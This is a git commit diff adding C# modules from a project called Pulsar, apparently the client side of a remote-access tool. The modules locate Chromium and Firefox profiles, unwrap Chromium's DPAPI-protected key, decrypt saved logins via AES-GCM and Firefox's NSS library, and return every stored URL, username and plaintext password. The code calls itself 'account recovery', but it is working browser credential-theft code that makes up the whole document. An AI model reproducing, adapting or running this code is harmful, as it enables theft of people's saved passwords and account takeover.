initial commit
Pulsar .NET 9.0 Windows Release / build (push) Canceled after 0s
Mirror to Codeberg and Gitea / mirror (push) Canceled after 0s

This commit is contained in:
i2p
2026-08-27 10:57:58 -06:00
commit 773d05f8f1
1038 changed files with 109261 additions and 0 deletions
@@ -0,0 +1,94 @@
using Pulsar.Client.Recovery.Utilities;
using Pulsar.Common.Models;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
namespace Pulsar.Client.Recovery.Browsers
{
/// <summary>
/// Provides basic account recovery capabilities from chromium-based applications.
/// </summary>
public class ChromiumBase
{
/// <summary>
/// Reads the stored accounts of an chromium-based application.
/// </summary>
/// <param name="filePath">The file path of the logins database.</param>
/// <param name="localStatePath">The file path to the local state.</param>
/// <returns>A list of recovered accounts.</returns>
public static List<RecoveredAccount> ReadAccounts(string filePath, string localStatePath, string appName)
{
var result = new List<RecoveredAccount>();
if (appName == "Local")
{
return result;
}
Debug.WriteLine(filePath);
Debug.WriteLine(localStatePath);
Debug.WriteLine(appName);
if (File.Exists(filePath))
{
SQLiteHandler sqlDatabase;
if (!File.Exists(filePath))
return result;
var decryptor = new ChromiumDecryptor(localStatePath);
try
{
sqlDatabase = new SQLiteHandler(filePath);
}
catch (Exception)
{
return result;
}
if (!sqlDatabase.ReadTable("logins"))
return result;
for (int i = 0; i < sqlDatabase.GetRowCount(); i++)
{
try
{
var host = sqlDatabase.GetValue(i, "origin_url");
//Debug.WriteLine(host);
var user = sqlDatabase.GetValue(i, "username_value");
//Debug.WriteLine(user);
var value = decryptor.Decrypt(sqlDatabase.GetValue(i, "password_value"));
//Debug.WriteLine(value);
if (string.IsNullOrEmpty(host) || string.IsNullOrEmpty(user) || string.IsNullOrEmpty(value))
continue;
result.Add(new RecoveredAccount
{
Url = host,
Username = user,
Password = value,
Application = appName
});
}
catch (Exception e)
{
Debug.WriteLine(e);
}
}
}
else
{
throw new FileNotFoundException("Can not find chromium logins file");
}
return result;
}
}
}
@@ -0,0 +1,116 @@
using Pulsar.Client.Recovery.Utilities;
using System;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Text;
namespace Pulsar.Client.Recovery.Browsers
{
/// <summary>
/// Provides methods to decrypt Chromium credentials.
/// </summary>
public class ChromiumDecryptor
{
private readonly byte[] _key;
public ChromiumDecryptor(string localStatePath)
{
try
{
if (localStatePath.Contains("AppData\\Local\\Application Data\\User Data"))
{
return;
}
if (File.Exists(localStatePath))
{
string localState = File.ReadAllText(localStatePath);
var startIndex = localState.IndexOf("\"encrypted_key\"") + "\"encrypted_key\"".Length + 2;
var endIndex = localState.IndexOf('"', startIndex + 1);
var encKeyStr = localState.Substring(startIndex, endIndex - startIndex);
try
{
_key = ProtectedData.Unprotect(Convert.FromBase64String(encKeyStr).Skip(5).ToArray(), null,
DataProtectionScope.CurrentUser);
}
catch (Exception e)
{
Debug.WriteLine(localStatePath);
Debug.WriteLine(e);
Debug.WriteLine("Failed to decrypt the key. Ensure you have the correct local state file.");
return;
}
}
}
catch (Exception e)
{
Debug.WriteLine(e);
}
}
public string Decrypt(string cipherText)
{
try
{
if (string.IsNullOrEmpty(cipherText))
return "";
var cipherTextBytes = Encoding.Default.GetBytes(cipherText);
var initialisationVector = cipherTextBytes.Skip(3).Take(12).ToArray();
var encryptedData = cipherTextBytes.Skip(15).ToArray();
// Separate the actual encrypted data from the auth tag
var actualEncryptedData = encryptedData.Take(encryptedData.Length - 16).ToArray();
var authTag = encryptedData.Skip(encryptedData.Length - 16).ToArray();
var decryptedPassword = DecryptAesGcm(actualEncryptedData, _key, initialisationVector, authTag);
if (decryptedPassword == null || decryptedPassword.Length == 0)
return "";
return Encoding.UTF8.GetString(decryptedPassword);
}
catch (Exception e)
{
Debug.WriteLine(e);
return "";
}
}
private byte[] DecryptAesGcm(byte[] encryptedPassword, byte[] key, byte[] nonce, byte[] authTag)
{
const int KEY_BIT_SIZE = 256;
if (key == null || key.Length != KEY_BIT_SIZE / 8)
{
Debug.WriteLine("Key is null or invalid length!");
return null;
}
if (encryptedPassword == null || encryptedPassword.Length == 0)
{
Debug.WriteLine("Encrypted password is empty!");
return null;
}
AesGcmBetter AES = new AesGcmBetter();
var output = new byte[0];
try
{
output = AES.Decrypt(key, nonce, null, encryptedPassword, authTag);
}
catch (Exception e)
{
Debug.WriteLine(e);
return null;
}
return output;
}
}
}
@@ -0,0 +1,116 @@
using Pulsar.Client.Utilities;
using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;
namespace Pulsar.Client.Recovery.Browsers
{
/// <summary>
/// Provides methods to decrypt Firefox credentials.
/// </summary>
public class FFDecryptor : IDisposable
{
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
public delegate long NssInit(string configDirectory);
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
public delegate long NssShutdown();
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
public delegate int Pk11sdrDecrypt(ref TSECItem data, ref TSECItem result, int cx);
private NssInit NSS_Init;
private NssShutdown NSS_Shutdown;
private Pk11sdrDecrypt PK11SDR_Decrypt;
private IntPtr NSS3;
private IntPtr Mozglue;
public long Init(string configDirectory)
{
string mozillaPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles), @"Mozilla Firefox\");
Mozglue = NativeMethods.LoadLibrary(Path.Combine(mozillaPath, "mozglue.dll"));
NSS3 = NativeMethods.LoadLibrary(Path.Combine(mozillaPath, "nss3.dll"));
IntPtr initProc = NativeMethods.GetProcAddress(NSS3, "NSS_Init");
IntPtr shutdownProc = NativeMethods.GetProcAddress(NSS3, "NSS_Shutdown");
IntPtr decryptProc = NativeMethods.GetProcAddress(NSS3, "PK11SDR_Decrypt");
NSS_Init = (NssInit)Marshal.GetDelegateForFunctionPointer(initProc, typeof(NssInit));
PK11SDR_Decrypt = (Pk11sdrDecrypt)Marshal.GetDelegateForFunctionPointer(decryptProc, typeof(Pk11sdrDecrypt));
NSS_Shutdown = (NssShutdown)Marshal.GetDelegateForFunctionPointer(shutdownProc, typeof(NssShutdown));
return NSS_Init(configDirectory);
}
public string Decrypt(string cypherText)
{
IntPtr ffDataUnmanagedPointer = IntPtr.Zero;
StringBuilder sb = new StringBuilder(cypherText);
try
{
byte[] ffData = Convert.FromBase64String(cypherText);
ffDataUnmanagedPointer = Marshal.AllocHGlobal(ffData.Length);
Marshal.Copy(ffData, 0, ffDataUnmanagedPointer, ffData.Length);
TSECItem tSecDec = new TSECItem();
TSECItem item = new TSECItem();
item.SECItemType = 0;
item.SECItemData = ffDataUnmanagedPointer;
item.SECItemLen = ffData.Length;
if (PK11SDR_Decrypt(ref item, ref tSecDec, 0) == 0)
{
if (tSecDec.SECItemLen != 0)
{
byte[] bvRet = new byte[tSecDec.SECItemLen];
Marshal.Copy(tSecDec.SECItemData, bvRet, 0, tSecDec.SECItemLen);
return Encoding.ASCII.GetString(bvRet);
}
}
}
catch (Exception)
{
return null;
}
finally
{
if (ffDataUnmanagedPointer != IntPtr.Zero)
{
Marshal.FreeHGlobal(ffDataUnmanagedPointer);
}
}
return null;
}
[StructLayout(LayoutKind.Sequential)]
public struct TSECItem
{
public int SECItemType;
public IntPtr SECItemData;
public int SECItemLen;
}
/// <summary>
/// Disposes all managed and unmanaged resources associated with this class.
/// </summary>
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
protected virtual void Dispose(bool disposing)
{
if (disposing)
{
NSS_Shutdown();
NativeMethods.FreeLibrary(NSS3);
NativeMethods.FreeLibrary(Mozglue);
}
}
}
}
@@ -0,0 +1,198 @@
using Pulsar.Client.Helper;
using Pulsar.Client.Recovery.Utilities;
using Pulsar.Common.Models;
using SharpDX.Direct3D11;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Runtime.Serialization;
namespace Pulsar.Client.Recovery.Browsers
{
public class FirefoxPassReader
{
/// <inheritdoc />
public static List<RecoveredAccount> ReadAccounts(string profiles, string name)
{
string[] dirs = Directory.GetDirectories(profiles);
var logins = new List<RecoveredAccount>();
if (dirs.Length == 0)
return logins;
foreach (string dir in dirs)
{
string signonsFile = string.Empty;
string loginsFile = string.Empty;
bool signonsFound = false;
bool loginsFound = false;
string[] files = Directory.GetFiles(dir, "signons.sqlite");
if (files.Length > 0)
{
signonsFile = files[0];
signonsFound = true;
}
files = Directory.GetFiles(dir, "logins.json");
if (files.Length > 0)
{
loginsFile = files[0];
loginsFound = true;
}
if (loginsFound || signonsFound)
{
using (var decrypter = new FFDecryptor())
{
var r = decrypter.Init(dir);
if (signonsFound)
{
SQLiteHandler sqlDatabase;
if (!File.Exists(signonsFile))
return logins;
try
{
sqlDatabase = new SQLiteHandler(signonsFile);
}
catch (Exception)
{
return logins;
}
if (!sqlDatabase.ReadTable("moz_logins"))
return logins;
for (int i = 0; i < sqlDatabase.GetRowCount(); i++)
{
try
{
var host = sqlDatabase.GetValue(i, "hostname");
var user = decrypter.Decrypt(sqlDatabase.GetValue(i, "encryptedUsername"));
var pass = decrypter.Decrypt(sqlDatabase.GetValue(i, "encryptedPassword"));
if (!string.IsNullOrEmpty(host) && !string.IsNullOrEmpty(user))
{
logins.Add(new RecoveredAccount
{
Url = host,
Username = user,
Password = pass,
Application = name
});
}
}
catch (Exception)
{
// ignore invalid entry
}
}
}
if (loginsFound)
{
FFLogins ffLoginData;
using (var sr = File.OpenRead(loginsFile))
{
ffLoginData = JsonHelper.Deserialize<FFLogins>(sr);
}
foreach (Login loginData in ffLoginData.Logins)
{
string username = decrypter.Decrypt(loginData.EncryptedUsername);
string password = decrypter.Decrypt(loginData.EncryptedPassword);
logins.Add(new RecoveredAccount
{
Username = username,
Password = password,
Url = loginData.Hostname.ToString(),
Application = name
});
}
}
}
}
}
return logins;
}
[DataContract]
private class FFLogins
{
[DataMember(Name = "nextId")]
public long NextId { get; set; }
[DataMember(Name = "logins")]
public Login[] Logins { get; set; }
[IgnoreDataMember]
[DataMember(Name = "potentiallyVulnerablePasswords")]
public object[] PotentiallyVulnerablePasswords { get; set; }
[IgnoreDataMember]
[DataMember(Name = "dismissedBreachAlertsByLoginGUID")]
public DismissedBreachAlertsByLoginGuid DismissedBreachAlertsByLoginGuid { get; set; }
[DataMember(Name = "version")]
public long Version { get; set; }
}
[DataContract]
private class DismissedBreachAlertsByLoginGuid
{
}
[DataContract]
private class Login
{
[DataMember(Name = "id")]
public long Id { get; set; }
[DataMember(Name = "hostname")]
public Uri Hostname { get; set; }
[DataMember(Name = "httpRealm")]
public object HttpRealm { get; set; }
[DataMember(Name = "formSubmitURL")]
public Uri FormSubmitUrl { get; set; }
[DataMember(Name = "usernameField")]
public string UsernameField { get; set; }
[DataMember(Name = "passwordField")]
public string PasswordField { get; set; }
[DataMember(Name = "encryptedUsername")]
public string EncryptedUsername { get; set; }
[DataMember(Name = "encryptedPassword")]
public string EncryptedPassword { get; set; }
[DataMember(Name = "guid")]
public string Guid { get; set; }
[DataMember(Name = "encType")]
public long EncType { get; set; }
[DataMember(Name = "timeCreated")]
public long TimeCreated { get; set; }
[DataMember(Name = "timeLastUsed")]
public long TimeLastUsed { get; set; }
[DataMember(Name = "timePasswordChanged")]
public long TimePasswordChanged { get; set; }
[DataMember(Name = "timesUsed")]
public long TimesUsed { get; set; }
}
}
}
@@ -0,0 +1,37 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Pulsar.Client.Recovery.Browsers
{
public struct AllBrowsers
{
public BrowserChromium[] Chromium;
public BrowserGecko[] Gecko;
}
public struct BrowserChromium
{
public string Name;
public string Path;
public string LocalState;
public ProfileChromium[] Profiles;
}
public struct ProfileChromium
{
public string Name;
public string LoginData;
public string Path;
}
public struct BrowserGecko
{
public string Name;
public string Path;
public string Key4;
public string Logins;
public string ProfilesDir;
}
}